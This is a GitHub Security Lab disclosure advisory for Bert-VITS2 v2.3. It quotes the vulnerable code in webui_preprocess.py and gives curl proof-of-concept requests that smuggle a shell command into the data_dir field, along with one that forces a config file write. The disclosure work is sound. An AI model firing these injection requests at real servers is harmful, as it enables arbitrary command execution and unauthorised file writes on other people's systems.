Coordinated Disclosure Timeline

Summary

fishaudio/Bert-VITS2 v2.3 is vulnerable to command injections and limited file write vulnerabilties.

Project

fishaudio/Bert-VITS2

Tested Version

v2.3

Details

Issue 1: Command injection in webui_preprocess.py resample function (GHSL-2024-045)

User input supplied to the data_dir variable is used directly in a command executed with subprocess.run(cmd, shell=True) on lines 46-52 in the resample function, which leads to arbitrary command execution.

def resample(data_dir):
    assert data_dir != "", "数据集名称不能为空"
    start_path, _, _, _, config_path = get_path(data_dir)
    in_dir = os.path.join(start_path, "raw")
    out_dir = os.path.join(start_path, "wavs")
    subprocess.run(
        f"python resample_legacy.py "
        f"--sr 44100 "
        f"--in_dir {in_dir} "
        f"--out_dir {out_dir} ",
        shell=True,
    )
    return "音频文件预处理完成"

Impact

This issue may lead to arbitrary command execution on the server running Bert-VITS2.

Proof of Concept

  1. Run webui_preprocess.py. We assume here it is running on localhost:7860
  2. Send the following request:
    curl -i -s -k -X $'POST' \
     -H $'Host: localhost:7860' -H $'Content-Length: 108' -H $'Content-Type: application/json' -H $'Accept: */*' -H $'Origin: http://localhost:7860' \
     --data-binary $'{\"data\":[\"test | echo \\\"foobar\\\" > file.txt #\"],\"event_data\":null,\"fn_index\":1,\"session_hash\":\"mgkr0gp8c4o\"}' \
     $'http://localhost:7860/run/predict'
    
  3. Observe, as visible in the payload in the previous step, that a file.txt has been created with the contents foobar.

Issue 2: Command injection in webui_preprocess.py bert_gen function (GHSL-2024-046)

User input supplied to the data_dir variable is used directly in a command executed with subprocess.run(cmd, shell=True) on line 82 in the bert_gen function, which leads to arbitrary command execution.

def bert_gen(data_dir):
    assert data_dir != "", "数据集名称不能为空"
    _, _, _, _, config_path = get_path(data_dir)
    subprocess.run(
        f"python bert_gen.py " f"--config {config_path}",
        shell=True,
    )
    return "BERT 特征文件生成完成"

Impact

This issue may lead to arbitrary command execution on the server running Bert-VITS2.

Proof of Concept

  1. Run webui_preprocess.py. We assume here it is running on localhost:7860
  2. Send the following request:
    curl -i -s -k -X $'POST' \
     -H $'Host: localhost:7860' -H $'Content-Length: 111' -H $'Content-Type: application/json' -H $'Connection: close' \
     --data-binary $'{\"data\":[\"/tmp | echo \\\"foobar\\\" > foobar.txt #\"],\"event_data\":null,\"fn_index\":3,\"session_hash\":\"06f0laej69fm\"}' \
     $'http://localhost:7860/run/predict'
    
  3. Observe, as visible in the payload in the previous step, that a foobar.txt has been created with the contents foobar.

Issue 3: Limited file write in webui_preprocess.py generate_config function (GHSL-2024-047)

User input supplied to the data_dir variable is concatenated with other folders and used to open a new file in the generate_config function on line 34, which leads to a limited file write.

def generate_config(data_dir, batch_size):
    assert data_dir != "", "数据集名称不能为空"
    start_path, _, train_path, val_path, config_path = get_path(data_dir)
    if os.path.isfile(config_path):
        config = json.load(open(config_path, "r", encoding="utf-8"))
    else:
        config = json.load(open("configs/config.json", "r", encoding="utf-8"))
    config["data"]["training_files"] = train_path
    config["data"]["validation_files"] = val_path
    config["train"]["batch_size"] = batch_size
    out_path = os.path.join(start_path, "configs")
    if not os.path.isdir(out_path):
        os.mkdir(out_path)
    model_path = os.path.join(start_path, "models")
    if not os.path.isdir(model_path):
        os.mkdir(model_path)
    with open(config_path, "w", encoding="utf-8") as f:
        json.dump(config, f, indent=4)
    if not os.path.exists("config.yml"):
        shutil.copy(src="default_config.yml", dst="config.yml")
    return "配置文件生成完成"

Impact

The issue allows for writing /config/config.json file in arbitrary directory on the server. If a given directory path doesn’t exist, the application will return an error, so this vulnerability could also be used to gain information about existing directories on the server.

Proof of Concept

  1. Run webui_preprocess.py. We assume here it is running on localhost:7860
  2. Send the following request:
    curl -i -s -k -X $'POST' \
     -H $'Host: localhost:7860' -H $'Content-Length: 80' -H $'Content-Type: application/json' \
     --data-binary $'{\"data\":[\"/tmp\",8],\"event_data\":null,\"fn_index\":0,\"session_hash\":\"06f0laej69fm\"}' \
     $'http://localhost:7860/run/predict'
    
  3. Observe, as visible in the payload in the previous step, that config/config.json, has been created in the /tmp` directory.

CVE

Credit

These issues were discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-045, GHSL-2024-046, or GHSL-2024-047 in any communication regarding these issues.